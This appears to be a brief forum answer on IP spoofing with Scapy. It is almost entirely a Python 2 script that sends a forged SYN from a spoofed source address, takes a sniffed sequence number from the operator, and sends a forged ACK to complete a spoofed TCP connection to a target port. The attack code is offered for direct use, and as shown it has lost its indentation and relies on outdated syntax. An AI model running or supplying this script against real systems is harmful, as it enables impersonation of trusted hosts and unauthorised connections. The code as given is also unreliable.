You can spoof an IP address using Scapy library.
Here's an example from Packet Wizardry: Ruling the Network with Python:
#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0
if len(sys.argv) != 4:
print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
sys.exit(1)
target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "
seq=sys.stdin.readline()
print "Okay, using sequence number " + seq
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
ack=seq+1,seq=1)
send(p2)
print "Okay, final ACK sent. Check netstat on your target :-)"
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